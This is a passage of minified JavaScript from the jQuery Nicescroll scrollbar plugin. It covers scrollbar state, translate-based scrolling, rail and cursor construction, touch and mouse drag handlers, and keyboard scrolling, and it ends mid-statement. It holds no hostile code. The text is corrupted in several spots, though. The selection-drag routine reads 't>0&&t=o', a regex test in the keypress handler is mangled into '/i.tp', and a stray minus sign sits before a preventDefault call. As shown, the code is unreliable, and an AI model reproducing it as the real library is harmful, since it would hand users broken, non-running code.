this.isrtlmode=!0===M.rtlmode,this.isvertical=!1;if(this.scrollrunning=!1,this.scrollmom=!1,this.observer=!1,this.observerremover=!1,this.observerbody=!1,!1!==M.scrollbarid)this.id=M.scrollbarid;else do{this.id="ascrail"+i++}while(l.getElementById(this.id));this.rail=!1,this.cursor=!1,this.cursorfreezed=!1,this.selectiondrag=!1,this.zoom=!1,this.zoomactive=!1,this.hasfocus=!1,this.hasmousefocus=!1,this.railslocked=!1,this.locked=!1,this.hidden=!1,this.cursoractive=!0,this.wheelprevented=!1,this.overflowx=M.overflowx,this.overflowy=M.overflowy,this.nativescrollingarea=!1,this.checkarea=0,this.events=[],this.saved={},this.delaylist={},this.synclist={},this.lastdeltax=0,this.lastdeltay=0,this.detected=w();var P=n.extend({},this.detected);this.canhwscroll=P.hastransform&&M.hwacceleration,this.ishwscroll=this.canhwscroll&&T.haswrapper,this.isrtlmode?this.isvertical?this.hasreversehr=!(P.iswebkit||P.isie||P.isie11):this.hasreversehr=!(P.iswebkit||P.isie&&!P.isie10&&!P.isie11):this.hasreversehr=!1,this.istouchcapable=!1,(P.cantouch||!P.hasw3ctouch&&!P.hasmstouch)&&(!P.cantouch||P.isios||P.isandroid||!P.iswebkit&&!P.ismozilla)||(this.istouchcapable=!0),M.enablemouselockapi||(P.hasmousecapture=!1,P.haspointerlock=!1),this.debounced=function(e,o,t){T&&(T.delaylist[e]||(T.delaylist[e]={h:u(function(){T.delaylist[e].fn.call(T),T.delaylist[e]=!1},t)},o.call(T)),T.delaylist[e].fn=o)},this.synched=function(e,o){T.synclist[e]?T.synclist[e]=o:(T.synclist[e]=o,u(function(){T&&(T.synclist[e]&&T.synclist[e].call(T),T.synclist[e]=null)}))},this.unsynched=function(e){T.synclist[e]&&(T.synclist[e]=!1)},this.css=function(e,o){for(var t in o)T.saved.css.push([e,t,e.css(t)]),e.css(t,o[t])},this.scrollTop=function(e){return void 0===e?T.getScrollTop():T.setScrollTop(e)},this.scrollLeft=function(e){return void 0===e?T.getScrollLeft():T.setScrollLeft(e)};var R=function(e,o,t,r,i,s,n){this.st=e,this.ed=o,this.spd=t,this.p1=r||0,this.p2=i||1,this.p3=s||0,this.p4=n||1,this.ts=f(),this.df=o-e};if(R.prototype={B2:function(e){return 3*(1-e)*(1-e)*e},B3:function(e){return 3*(1-e)*e*e},B4:function(e){return e*e*e},getPos:function(){return(f()-this.ts)/this.spd},getNow:function(){var e=(f()-this.ts)/this.spd,o=this.B2(e)+this.B3(e)+this.B4(e);return e>=1?this.ed:this.st+this.df*o|0},update:function(e,o){return this.st=this.getNow(),this.ed=e,this.spd=o,this.ts=f(),this.df=this.ed-this.st,this}},this.ishwscroll){this.doc.translate={x:0,y:0,tx:"0px",ty:"0px"},P.hastranslate3d&&P.isios&&this.doc.css("-webkit-backface-visibility","hidden"),this.getScrollTop=function(e){if(!e){var o=v();if(o)return 16==o.length?-o[13]:-o[5];if(T.timerscroll&&T.timerscroll.bz)return T.timerscroll.bz.getNow()}return T.doc.translate.y},this.getScrollLeft=function(e){if(!e){var o=v();if(o)return 16==o.length?-o[12]:-o[4];if(T.timerscroll&&T.timerscroll.bh)return T.timerscroll.bh.getNow()}return T.doc.translate.x},this.notifyScrollEvent=function(e){var o=l.createEvent("UIEvents");o.initUIEvent("scroll",!1,!1,a,1),o.niceevent=!0,e.dispatchEvent(o)};var _=this.isrtlmode?1:-1;P.hastranslate3d&&M.enabletranslate3d?(this.setScrollTop=function(e,o){T.doc.translate.y=e,T.doc.translate.ty=-1*e+"px",T.doc.css(P.trstyle,"translate3d("+T.doc.translate.tx+","+T.doc.translate.ty+",0)"),o||T.notifyScrollEvent(T.win[0])},this.setScrollLeft=function(e,o){T.doc.translate.x=e,T.doc.translate.tx=e*_+"px",T.doc.css(P.trstyle,"translate3d("+T.doc.translate.tx+","+T.doc.translate.ty+",0)"),o||T.notifyScrollEvent(T.win[0])}):(this.setScrollTop=function(e,o){T.doc.translate.y=e,T.doc.translate.ty=-1*e+"px",T.doc.css(P.trstyle,"translate("+T.doc.translate.tx+","+T.doc.translate.ty+")"),o||T.notifyScrollEvent(T.win[0])},this.setScrollLeft=function(e,o){T.doc.translate.x=e,T.doc.translate.tx=e*_+"px",T.doc.css(P.trstyle,"translate("+T.doc.translate.tx+","+T.doc.translate.ty+")"),o||T.notifyScrollEvent(T.win[0])})}else this.getScrollTop=function(){return T.docscroll.scrollTop()},this.setScrollTop=function(e){T.docscroll.scrollTop(e)},this.getScrollLeft=function(){return T.hasreversehr?T.detected.ismozilla?T.page.maxw-Math.abs(T.docscroll.scrollLeft()):T.page.maxw-T.docscroll.scrollLeft():T.docscroll.scrollLeft()},this.setScrollLeft=function(e){return setTimeout(function(){if(T)return T.hasreversehr&&(e=T.detected.ismozilla?-(T.page.maxw-e):T.page.maxw-e),T.docscroll.scrollLeft(e)},1)};this.getTarget=function(e){return!!e&&(e.target?e.target:!!e.srcElement&&e.srcElement)},this.hasParent=function(e,o){if(!e)return!1;for(var t=e.target||e.srcElement||e||!1;t&&t.id!=o;)t=t.parentNode||!1;return!1!==t};var I={thin:1,medium:3,thick:5};this.getDocumentScrollOffset=function(){return{top:a.pageYOffset||l.documentElement.scrollTop,left:a.pageXOffset||l.documentElement.scrollLeft}},this.getOffset=function(){if(T.isfixed){var e=T.win.offset(),o=T.getDocumentScrollOffset();return e.top-=o.top,e.left-=o.left,e}var t=T.win.offset();if(!T.viewport)return t;var r=T.viewport.offset();return{top:t.top-r.top,left:t.left-r.left}},this.updateScrollBar=function(e){var o,t;if(T.ishwscroll)T.rail.css({height:T.win.innerHeight()-(M.railpadding.top+M.railpadding.bottom)}),T.railh&&T.railh.css({width:T.win.innerWidth()-(M.railpadding.left+M.railpadding.right)});else{var r=T.getOffset();if(o={top:r.top,left:r.left-(M.railpadding.left+M.railpadding.right)},o.top+=x(T.win,"border-top-width",!0),o.left+=T.rail.align?T.win.outerWidth()-x(T.win,"border-right-width")-T.rail.width:x(T.win,"border-left-width"),(t=M.railoffset)&&(t.top&&(o.top+=t.top),t.left&&(o.left+=t.left)),T.railslocked||T.rail.css({top:o.top,left:o.left,height:(e?e.h:T.win.innerHeight())-(M.railpadding.top+M.railpadding.bottom)}),T.zoom&&T.zoom.css({top:o.top+1,left:1==T.rail.align?o.left-20:o.left+T.rail.width+4}),T.railh&&!T.railslocked){o={top:r.top,left:r.left},(t=M.railhoffset)&&(t.top&&(o.top+=t.top),t.left&&(o.left+=t.left));var i=T.railh.align?o.top+x(T.win,"border-top-width",!0)+T.win.innerHeight()-T.railh.height:o.top+x(T.win,"border-top-width",!0),s=o.left+x(T.win,"border-left-width");T.railh.css({top:i-(M.railpadding.top+M.railpadding.bottom),left:s,width:T.railh.width})}}},this.doRailClick=function(e,o,t){var r,i,s,n;T.railslocked||(T.cancelEvent(e),"pageY"in e||(e.pageX=e.clientX+l.documentElement.scrollLeft,e.pageY=e.clientY+l.documentElement.scrollTop),o?(r=t?T.doScrollLeft:T.doScrollTop,s=t?(e.pageX-T.railh.offset().left-T.cursorwidth/2)*T.scrollratio.x:(e.pageY-T.rail.offset().top-T.cursorheight/2)*T.scrollratio.y,T.unsynched("relativexy"),r(0|s)):(r=t?T.doScrollLeftBy:T.doScrollBy,s=t?T.scroll.x:T.scroll.y,n=t?e.pageX-T.railh.offset().left:e.pageY-T.rail.offset().top,i=t?T.view.w:T.view.h,r(s>=n?i:-i)))},T.newscrolly=T.newscrollx=0,T.hasanimationframe="requestAnimationFrame"in a,T.hascancelanimationframe="cancelAnimationFrame"in a,T.hasborderbox=!1,this.init=function(){if(T.saved.css=[],P.isoperamini)return!0;if(P.isandroid&&!("hidden"in l))return!0;M.emulatetouch=M.emulatetouch||M.touchbehavior,T.hasborderbox=a.getComputedStyle&&"border-box"===a.getComputedStyle(l.body)["box-sizing"];var e={"overflow-y":"hidden"};if((P.isie11||P.isie10)&&(e["-ms-overflow-style"]="none"),T.ishwscroll&&(this.doc.css(P.transitionstyle,P.prefixstyle+"transform 0ms ease-out"),P.transitionend&&T.bind(T.doc,P.transitionend,T.onScrollTransitionEnd,!1)),T.zindex="auto",T.ispage||"auto"!=M.zindex?T.zindex=M.zindex:T.zindex=b()||"auto",!T.ispage&&"auto"!=T.zindex&&T.zindex>s&&(s=T.zindex),T.isie&&0===T.zindex&&"auto"==M.zindex&&(T.zindex="auto"),!T.ispage||!P.isieold){var i=T.docscroll;T.ispage&&(i=T.haswrapper?T.win:T.doc),T.css(i,e),T.ispage&&(P.isie11||P.isie)&&T.css(n("html"),e),!P.isios||T.ispage||T.haswrapper||T.css(E,{"-webkit-overflow-scrolling":"touch"});var d=n(l.createElement("div"));d.css({position:"relative",top:0,float:"right",width:M.cursorwidth,height:0,"background-color":M.cursorcolor,border:M.cursorborder,"background-clip":"padding-box","-webkit-border-radius":M.cursorborderradius,"-moz-border-radius":M.cursorborderradius,"border-radius":M.cursorborderradius}),d.addClass("nicescroll-cursors"),T.cursor=d;var u=n(l.createElement("div"));u.attr("id",T.id),u.addClass("nicescroll-rails nicescroll-rails-vr");var h,p,f=["left","right","top","bottom"];for(var g in f)p=f[g],(h=M.railpadding[p]||0)&&u.css("padding-"+p,h+"px");u.append(d),u.width=Math.max(parseFloat(M.cursorwidth),d.outerWidth()),u.css({width:u.width+"px",zIndex:T.zindex,background:M.background,cursor:"default"}),u.visibility=!0,u.scrollable=!0,u.align="left"==M.railalign?0:1,T.rail=u,T.rail.drag=!1;var v,w=!1;if(!M.boxzoom||T.ispage||P.isieold||(w=l.createElement("div"),T.bind(w,"click",T.doZoom),T.bind(w,"mouseenter",function(){T.zoom.css("opacity",M.cursoropacitymax)}),T.bind(w,"mouseleave",function(){T.zoom.css("opacity",M.cursoropacitymin)}),T.zoom=n(w),T.zoom.css({cursor:"pointer",zIndex:T.zindex,backgroundImage:"url("+M.scriptpath+"zoomico.png)",height:18,width:18,backgroundPosition:"0 0"}),M.dblclickzoom&&T.bind(T.win,"dblclick",T.doZoom),P.cantouch&&M.gesturezoom&&(T.ongesturezoom=function(e){return e.scale>1.5&&T.doZoomIn(e),e.scale<.8&&T.doZoomOut(e),T.cancelEvent(e)},T.bind(T.win,"gestureend",T.ongesturezoom))),T.railh=!1,M.horizrailenabled&&(T.css(i,{overflowX:"hidden"}),(d=n(l.createElement("div"))).css({position:"absolute",top:0,height:M.cursorwidth,width:0,backgroundColor:M.cursorcolor,border:M.cursorborder,backgroundClip:"padding-box","-webkit-border-radius":M.cursorborderradius,"-moz-border-radius":M.cursorborderradius,"border-radius":M.cursorborderradius}),P.isieold&&d.css("overflow","hidden"),d.addClass("nicescroll-cursors"),T.cursorh=d,(v=n(l.createElement("div"))).attr("id",T.id+"-hr"),v.addClass("nicescroll-rails nicescroll-rails-hr"),v.height=Math.max(parseFloat(M.cursorwidth),d.outerHeight()),v.css({height:v.height+"px",zIndex:T.zindex,background:M.background}),v.append(d),v.visibility=!0,v.scrollable=!0,v.align="top"==M.railvalign?0:1,T.railh=v,T.railh.drag=!1),T.ispage)u.css({position:"fixed",top:0,height:"100%"}),u.css(u.align?{right:0}:{left:0}),T.body.append(u),T.railh&&(v.css({position:"fixed",left:0,width:"100%"}),v.css(v.align?{bottom:0}:{top:0}),T.body.append(v));else{if(T.ishwscroll){"static"==T.win.css("position")&&T.css(T.win,{position:"relative"});var x="HTML"==T.win[0].nodeName?T.body:T.win;n(x).scrollTop(0).scrollLeft(0),T.zoom&&(T.zoom.css({position:"absolute",top:1,right:0,"margin-right":u.width+4}),x.append(T.zoom)),u.css({position:"absolute",top:0}),u.css(u.align?{right:0}:{left:0}),x.append(u),v&&(v.css({position:"absolute",left:0,bottom:0}),v.css(v.align?{bottom:0}:{top:0}),x.append(v))}else{T.isfixed="fixed"==T.win.css("position");var S=T.isfixed?"fixed":"absolute";T.isfixed||(T.viewport=T.getViewport(T.win[0])),T.viewport&&(T.body=T.viewport,/fixed|absolute/.test(T.viewport.css("position"))||T.css(T.viewport,{position:"relative"})),u.css({position:S}),T.zoom&&T.zoom.css({position:S}),T.updateScrollBar(),T.body.append(u),T.zoom&&T.body.append(T.zoom),T.railh&&(v.css({position:S}),T.body.append(v))}P.isios&&T.css(T.win,{"-webkit-tap-highlight-color":"rgba(0,0,0,0)","-webkit-touch-callout":"none"}),M.disableoutline&&(P.isie&&T.win.attr("hideFocus","true"),P.iswebkit&&T.win.css("outline","none"))}if(!1===M.autohidemode?(T.autohidedom=!1,T.rail.css({opacity:M.cursoropacitymax}),T.railh&&T.railh.css({opacity:M.cursoropacitymax})):!0===M.autohidemode||"leave"===M.autohidemode?(T.autohidedom=n().add(T.rail),P.isie8&&(T.autohidedom=T.autohidedom.add(T.cursor)),T.railh&&(T.autohidedom=T.autohidedom.add(T.railh)),T.railh&&P.isie8&&(T.autohidedom=T.autohidedom.add(T.cursorh))):"scroll"==M.autohidemode?(T.autohidedom=n().add(T.rail),T.railh&&(T.autohidedom=T.autohidedom.add(T.railh))):"cursor"==M.autohidemode?(T.autohidedom=n().add(T.cursor),T.railh&&(T.autohidedom=T.autohidedom.add(T.cursorh))):"hidden"==M.autohidemode&&(T.autohidedom=!1,T.hide(),T.railslocked=!1),P.cantouch||T.istouchcapable||M.emulatetouch||P.hasmstouch){T.scrollmom=new y(T),T.ontouchstart=function(e){if(T.locked)return!1;if(e.pointerType&&("mouse"===e.pointerType||e.pointerType===e.MSPOINTER_TYPE_MOUSE))return!1;if(T.hasmoving=!1,T.scrollmom.timer&&(T.triggerScrollEnd(),T.scrollmom.stop()),!T.railslocked){var o=T.getTarget(e);if(o&&/INPUT/i.test(o.nodeName)&&/range/i.test(o.type))return T.stopPropagation(e);var t="mousedown"===e.type;if(!("clientX"in e)&&"changedTouches"in e&&(e.clientX=e.changedTouches[0].clientX,e.clientY=e.changedTouches[0].clientY),T.forcescreen){var r=e;(e={original:e.original?e.original:e}).clientX=r.screenX,e.clientY=r.screenY}if(T.rail.drag={x:e.clientX,y:e.clientY,sx:T.scroll.x,sy:T.scroll.y,st:T.getScrollTop(),sl:T.getScrollLeft(),pt:2,dl:!1,tg:o},T.ispage||!M.directionlockdeadzone)T.rail.drag.dl="f";else{var i={w:c.width(),h:c.height()},s=T.getContentSize(),l=s.h-i.h,a=s.w-i.w;T.rail.scrollable&&!T.railh.scrollable?T.rail.drag.ck=l>0&&"v":!T.rail.scrollable&&T.railh.scrollable?T.rail.drag.ck=a>0&&"h":T.rail.drag.ck=!1}if(M.emulatetouch&&T.isiframe&&P.isie){var d=T.win.position();T.rail.drag.x+=d.left,T.rail.drag.y+=d.top}if(T.hasmoving=!1,T.lastmouseup=!1,T.scrollmom.reset(e.clientX,e.clientY),o&&t){if(!/INPUT|SELECT|BUTTON|TEXTAREA/i.test(o.nodeName))return P.hasmousecapture&&o.setCapture(),M.emulatetouch?(o.onclick&&!o._onclick&&(o._onclick=o.onclick,o.onclick=function(e){if(T.hasmoving)return!1;o._onclick.call(this,e)}),T.cancelEvent(e)):T.stopPropagation(e);/SUBMIT|CANCEL|BUTTON/i.test(n(o).attr("type"))&&(T.preventclick={tg:o,click:!1})}}},T.ontouchend=function(e){if(!T.rail.drag)return!0;if(2==T.rail.drag.pt){if(e.pointerType&&("mouse"===e.pointerType||e.pointerType===e.MSPOINTER_TYPE_MOUSE))return!1;T.rail.drag=!1;var o="mouseup"===e.type;if(T.hasmoving&&(T.scrollmom.doMomentum(),T.lastmouseup=!0,T.hideCursor(),P.hasmousecapture&&l.releaseCapture(),o))return T.cancelEvent(e)}else if(1==T.rail.drag.pt)return T.onmouseup(e)};var z=M.emulatetouch&&T.isiframe&&!P.hasmousecapture,k=.3*M.directionlockdeadzone|0;T.ontouchmove=function(e,o){if(!T.rail.drag)return!0;if(e.targetTouches&&M.preventmultitouchscrolling&&e.targetTouches.length>1)return!0;if(e.pointerType&&("mouse"===e.pointerType||e.pointerType===e.MSPOINTER_TYPE_MOUSE))return!0;if(2==T.rail.drag.pt){var t,r;if("changedTouches"in e&&(e.clientX=e.changedTouches[0].clientX,e.clientY=e.changedTouches[0].clientY),r=t=0,z&&!o){var i=T.win.position();r=-i.left,t=-i.top}var s=e.clientY+t,n=s-T.rail.drag.y,a=e.clientX+r,c=a-T.rail.drag.x,d=T.rail.drag.st-n;if(T.ishwscroll&&M.bouncescroll)d<0?d=Math.round(d/2):d>T.page.maxh&&(d=T.page.maxh+Math.round((d-T.page.maxh)/2));else if(d<0?(d=0,s=0):d>T.page.maxh&&(d=T.page.maxh,s=0),0===s&&!T.hasmoving)return T.ispage||(T.rail.drag=!1),!0;var u=T.getScrollLeft();if(T.railh&&T.railh.scrollable&&(u=T.isrtlmode?c-T.rail.drag.sl:T.rail.drag.sl-c,T.ishwscroll&&M.bouncescroll?u<0?u=Math.round(u/2):u>T.page.maxw&&(u=T.page.maxw+Math.round((u-T.page.maxw)/2)):(u<0&&(u=0,a=0),u>T.page.maxw&&(u=T.page.maxw,a=0))),!T.hasmoving){if(T.rail.drag.y===e.clientY&&T.rail.drag.x===e.clientX)return T.cancelEvent(e);var h=Math.abs(n),p=Math.abs(c),m=M.directionlockdeadzone;if(T.rail.drag.ck?"v"==T.rail.drag.ck?p>m&&h<=k?T.rail.drag=!1:h>m&&(T.rail.drag.dl="v"):"h"==T.rail.drag.ck&&(h>m&&p<=k?T.rail.drag=!1:p>m&&(T.rail.drag.dl="h")):h>m&&p>m?T.rail.drag.dl="f":h>m?T.rail.drag.dl=p>k?"f":"v":p>m&&(T.rail.drag.dl=h>k?"f":"h"),!T.rail.drag.dl)return T.cancelEvent(e);T.triggerScrollStart(e.clientX,e.clientY,0,0,0),T.hasmoving=!0}return T.preventclick&&!T.preventclick.click&&(T.preventclick.click=T.preventclick.tg.onclick||!1,T.preventclick.tg.onclick=T.onpreventclick),T.rail.drag.dl&&("v"==T.rail.drag.dl?u=T.rail.drag.sl:"h"==T.rail.drag.dl&&(d=T.rail.drag.st)),T.synched("touchmove",function(){T.rail.drag&&2==T.rail.drag.pt&&(T.prepareTransition&&T.resetTransition(),T.rail.scrollable&&T.setScrollTop(d),T.scrollmom.update(a,s),T.railh&&T.railh.scrollable?(T.setScrollLeft(u),T.showCursor(d,u)):T.showCursor(d),P.isie10&&l.selection.clear())}),T.cancelEvent(e)}return 1==T.rail.drag.pt?T.onmousemove(e):void 0},T.ontouchstartCursor=function(e,o){if(!T.rail.drag||3==T.rail.drag.pt){if(T.locked)return T.cancelEvent(e);T.cancelScroll(),T.rail.drag={x:e.touches[0].clientX,y:e.touches[0].clientY,sx:T.scroll.x,sy:T.scroll.y,pt:3,hr:!!o};var t=T.getTarget(e);return!T.ispage&&P.hasmousecapture&&t.setCapture(),T.isiframe&&!P.hasmousecapture&&(T.saved.csspointerevents=T.doc.css("pointer-events"),T.css(T.doc,{"pointer-events":"none"})),T.cancelEvent(e)}},T.ontouchendCursor=function(e){if(T.rail.drag){if(P.hasmousecapture&&l.releaseCapture(),T.isiframe&&!P.hasmousecapture&&T.doc.css("pointer-events",T.saved.csspointerevents),3!=T.rail.drag.pt)return;return T.rail.drag=!1,T.cancelEvent(e)}},T.ontouchmoveCursor=function(e){if(T.rail.drag){if(3!=T.rail.drag.pt)return;if(T.cursorfreezed=!0,T.rail.drag.hr){T.scroll.x=T.rail.drag.sx+(e.touches[0].clientX-T.rail.drag.x),T.scroll.x<0&&(T.scroll.x=0);var o=T.scrollvaluemaxw;T.scroll.x>o&&(T.scroll.x=o)}else{T.scroll.y=T.rail.drag.sy+(e.touches[0].clientY-T.rail.drag.y),T.scroll.y<0&&(T.scroll.y=0);var t=T.scrollvaluemax;T.scroll.y>t&&(T.scroll.y=t)}return T.synched("touchmove",function(){T.rail.drag&&3==T.rail.drag.pt&&(T.showCursor(),T.rail.drag.hr?T.doScrollLeft(Math.round(T.scroll.x*T.scrollratio.x),M.cursordragspeed):T.doScrollTop(Math.round(T.scroll.y*T.scrollratio.y),M.cursordragspeed))}),T.cancelEvent(e)}}}if(T.onmousedown=function(e,o){if(!T.rail.drag||1==T.rail.drag.pt){if(T.railslocked)return T.cancelEvent(e);T.cancelScroll(),T.rail.drag={x:e.clientX,y:e.clientY,sx:T.scroll.x,sy:T.scroll.y,pt:1,hr:o||!1};var t=T.getTarget(e);return P.hasmousecapture&&t.setCapture(),T.isiframe&&!P.hasmousecapture&&(T.saved.csspointerevents=T.doc.css("pointer-events"),T.css(T.doc,{"pointer-events":"none"})),T.hasmoving=!1,T.cancelEvent(e)}},T.onmouseup=function(e){if(T.rail.drag)return 1!=T.rail.drag.pt||(P.hasmousecapture&&l.releaseCapture(),T.isiframe&&!P.hasmousecapture&&T.doc.css("pointer-events",T.saved.csspointerevents),T.rail.drag=!1,T.cursorfreezed=!1,T.hasmoving&&T.triggerScrollEnd(),T.cancelEvent(e))},T.onmousemove=function(e){if(T.rail.drag){if(1!==T.rail.drag.pt)return;if(P.ischrome&&0===e.which)return T.onmouseup(e);if(T.cursorfreezed=!0,T.hasmoving||T.triggerScrollStart(e.clientX,e.clientY,0,0,0),T.hasmoving=!0,T.rail.drag.hr){T.scroll.x=T.rail.drag.sx+(e.clientX-T.rail.drag.x),T.scroll.x<0&&(T.scroll.x=0);var o=T.scrollvaluemaxw;T.scroll.x>o&&(T.scroll.x=o)}else{T.scroll.y=T.rail.drag.sy+(e.clientY-T.rail.drag.y),T.scroll.y<0&&(T.scroll.y=0);var t=T.scrollvaluemax;T.scroll.y>t&&(T.scroll.y=t)}return T.synched("mousemove",function(){T.cursorfreezed&&(T.showCursor(),T.rail.drag.hr?T.scrollLeft(Math.round(T.scroll.x*T.scrollratio.x)):T.scrollTop(Math.round(T.scroll.y*T.scrollratio.y)))}),T.cancelEvent(e)}T.checkarea=0},P.cantouch||M.emulatetouch)T.onpreventclick=function(e){if(T.preventclick)return T.preventclick.tg.onclick=T.preventclick.click,T.preventclick=!1,T.cancelEvent(e)},T.onclick=!P.isios&&function(e){return!T.lastmouseup||(T.lastmouseup=!1,T.cancelEvent(e))},M.grabcursorenabled&&P.cursorgrabvalue&&(T.css(T.ispage?T.doc:T.win,{cursor:P.cursorgrabvalue}),T.css(T.rail,{cursor:P.cursorgrabvalue}));else{var L=function(e){if(T.selectiondrag){if(e){var o=T.win.outerHeight(),t=e.pageY-T.selectiondrag.top;t>0&&t=o&&(t-=o),T.selectiondrag.df=t}if(0!==T.selectiondrag.df){var r=-2*T.selectiondrag.df/6|0;T.doScrollBy(r),T.debounced("doselectionscroll",function(){L()},50)}}};T.hasTextSelected="getSelection"in l?function(){return l.getSelection().rangeCount>0}:"selection"in l?function(){return"None"!=l.selection.type}:function(){return!1},T.onselectionstart=function(e){T.ispage||(T.selectiondrag=T.win.offset())},T.onselectionend=function(e){T.selectiondrag=!1},T.onselectiondrag=function(e){T.selectiondrag&&T.hasTextSelected()&&T.debounced("selectionscroll",function(){L(e)},250)}}if(P.hasw3ctouch?(T.css(T.ispage?n("html"):T.win,{"touch-action":"none"}),T.css(T.rail,{"touch-action":"none"}),T.css(T.cursor,{"touch-action":"none"}),T.bind(T.win,"pointerdown",T.ontouchstart),T.bind(l,"pointerup",T.ontouchend),T.delegate(l,"pointermove",T.ontouchmove)):P.hasmstouch?(T.css(T.ispage?n("html"):T.win,{"-ms-touch-action":"none"}),T.css(T.rail,{"-ms-touch-action":"none"}),T.css(T.cursor,{"-ms-touch-action":"none"}),T.bind(T.win,"MSPointerDown",T.ontouchstart),T.bind(l,"MSPointerUp",T.ontouchend),T.delegate(l,"MSPointerMove",T.ontouchmove),T.bind(T.cursor,"MSGestureHold",function(e){e.preventDefault()}),T.bind(T.cursor,"contextmenu",function(e){e.preventDefault()})):P.cantouch&&(T.bind(T.win,"touchstart",T.ontouchstart,!1,!0),T.bind(l,"touchend",T.ontouchend,!1,!0),T.bind(l,"touchcancel",T.ontouchend,!1,!0),T.delegate(l,"touchmove",T.ontouchmove,!1,!0)),M.emulatetouch&&(T.bind(T.win,"mousedown",T.ontouchstart,!1,!0),T.bind(l,"mouseup",T.ontouchend,!1,!0),T.bind(l,"mousemove",T.ontouchmove,!1,!0)),(M.cursordragontouch||!P.cantouch&&!M.emulatetouch)&&(T.rail.css({cursor:"default"}),T.railh&&T.railh.css({cursor:"default"}),T.jqbind(T.rail,"mouseenter",function(){if(!T.ispage&&!T.win.is(":visible"))return!1;T.canshowonmouseevent&&T.showCursor(),T.rail.active=!0}),T.jqbind(T.rail,"mouseleave",function(){T.rail.active=!1,T.rail.drag||T.hideCursor()}),M.sensitiverail&&(T.bind(T.rail,"click",function(e){T.doRailClick(e,!1,!1)}),T.bind(T.rail,"dblclick",function(e){T.doRailClick(e,!0,!1)}),T.bind(T.cursor,"click",function(e){T.cancelEvent(e)}),T.bind(T.cursor,"dblclick",function(e){T.cancelEvent(e)})),T.railh&&(T.jqbind(T.railh,"mouseenter",function(){if(!T.ispage&&!T.win.is(":visible"))return!1;T.canshowonmouseevent&&T.showCursor(),T.rail.active=!0}),T.jqbind(T.railh,"mouseleave",function(){T.rail.active=!1,T.rail.drag||T.hideCursor()}),M.sensitiverail&&(T.bind(T.railh,"click",function(e){T.doRailClick(e,!1,!0)}),T.bind(T.railh,"dblclick",function(e){T.doRailClick(e,!0,!0)}),T.bind(T.cursorh,"click",function(e){T.cancelEvent(e)}),T.bind(T.cursorh,"dblclick",function(e){T.cancelEvent(e)})))),M.cursordragontouch&&(this.istouchcapable||P.cantouch)&&(T.bind(T.cursor,"touchstart",T.ontouchstartCursor),T.bind(T.cursor,"touchmove",T.ontouchmoveCursor),T.bind(T.cursor,"touchend",T.ontouchendCursor),T.cursorh&&T.bind(T.cursorh,"touchstart",function(e){T.ontouchstartCursor(e,!0)}),T.cursorh&&T.bind(T.cursorh,"touchmove",T.ontouchmoveCursor),T.cursorh&&T.bind(T.cursorh,"touchend",T.ontouchendCursor)),M.emulatetouch||P.isandroid||P.isios?(T.bind(P.hasmousecapture?T.win:l,"mouseup",T.ontouchend),T.onclick&&T.bind(l,"click",T.onclick),M.cursordragontouch?(T.bind(T.cursor,"mousedown",T.onmousedown),T.bind(T.cursor,"mouseup",T.onmouseup),T.cursorh&&T.bind(T.cursorh,"mousedown",function(e){T.onmousedown(e,!0)}),T.cursorh&&T.bind(T.cursorh,"mouseup",T.onmouseup)):(T.bind(T.rail,"mousedown",function(e){e.preventDefault()}),T.railh&&T.bind(T.railh,"mousedown",function(e){ -e.preventDefault()}))):(T.bind(P.hasmousecapture?T.win:l,"mouseup",T.onmouseup),T.bind(l,"mousemove",T.onmousemove),T.onclick&&T.bind(l,"click",T.onclick),T.bind(T.cursor,"mousedown",T.onmousedown),T.bind(T.cursor,"mouseup",T.onmouseup),T.railh&&(T.bind(T.cursorh,"mousedown",function(e){T.onmousedown(e,!0)}),T.bind(T.cursorh,"mouseup",T.onmouseup)),!T.ispage&&M.enablescrollonselection&&(T.bind(T.win[0],"mousedown",T.onselectionstart),T.bind(l,"mouseup",T.onselectionend),T.bind(T.cursor,"mouseup",T.onselectionend),T.cursorh&&T.bind(T.cursorh,"mouseup",T.onselectionend),T.bind(l,"mousemove",T.onselectiondrag)),T.zoom&&(T.jqbind(T.zoom,"mouseenter",function(){T.canshowonmouseevent&&T.showCursor(),T.rail.active=!0}),T.jqbind(T.zoom,"mouseleave",function(){T.rail.active=!1,T.rail.drag||T.hideCursor()}))),M.enablemousewheel&&(T.isiframe||T.mousewheel(P.isie&&T.ispage?l:T.win,T.onmousewheel),T.mousewheel(T.rail,T.onmousewheel),T.railh&&T.mousewheel(T.railh,T.onmousewheelhr)),T.ispage||P.cantouch||/HTML|^BODY/.test(T.win[0].nodeName)||(T.win.attr("tabindex")||T.win.attr({tabindex:++r}),T.bind(T.win,"focus",function(e){o=T.getTarget(e).id||T.getTarget(e)||!1,T.hasfocus=!0,T.canshowonmouseevent&&T.noticeCursor()}),T.bind(T.win,"blur",function(e){o=!1,T.hasfocus=!1}),T.bind(T.win,"mouseenter",function(e){t=T.getTarget(e).id||T.getTarget(e)||!1,T.hasmousefocus=!0,T.canshowonmouseevent&&T.noticeCursor()}),T.bind(T.win,"mouseleave",function(e){t=!1,T.hasmousefocus=!1,T.rail.drag||T.hideCursor()})),T.onkeypress=function(e){if(T.railslocked&&0===T.page.maxh)return!0;e=e||a.event;var r=T.getTarget(e);if(r&&/INPUT|TEXTAREA|SELECT|OPTION/.test(r.nodeName)&&(!r.getAttribute("type")&&!r.type||!/submit|button|cancel/i.tp))return!0;if(n(r).attr("contenteditable"))return!0;if(T.hasfocus||T.hasmousefocus&&!o||T.ispage&&!o&&!t){var i=e.keyCode;if(T.railslocked&&27!=i)return T.cancelEvent(e);var s=e.ctrlKey||!1,l=e.shiftKey||!1,c=!1;switch(i){case 37:case 63232:T.railh&&(s?T.doScrollLeft(0):T.doScrollLeftBy(72),c=!0);break;case 39:case 63234:T.railh&&(s?T.doScrollLeft(T.page.maxw):T.doScrollLeftBy(-72),c=!0);break;case 33:case 63276:T.doScrollBy(T.view.h),c=!0;break;case 34:case 63277:T.doScrollBy(-T.view.h),c=!0;break;case 36:case 63273:T.railh&&s?T.doScrollPos(0,0):T.doScrollTo(0),c=!0;break;case 35:case 63275:T.railh&&s?T.doScrollPos(T.page.maxw,T.page.maxh):T.doScrollTo(T.page.maxh),c=!0;break;case 32:M.spacebarenabled&&(l?T.doScrollBy(T.view.h):T.doScrollBy(-T.view.h),c=!0);break;case 27:T.zoomactive&&(T.doZoom(),c=!0)}if(c)return 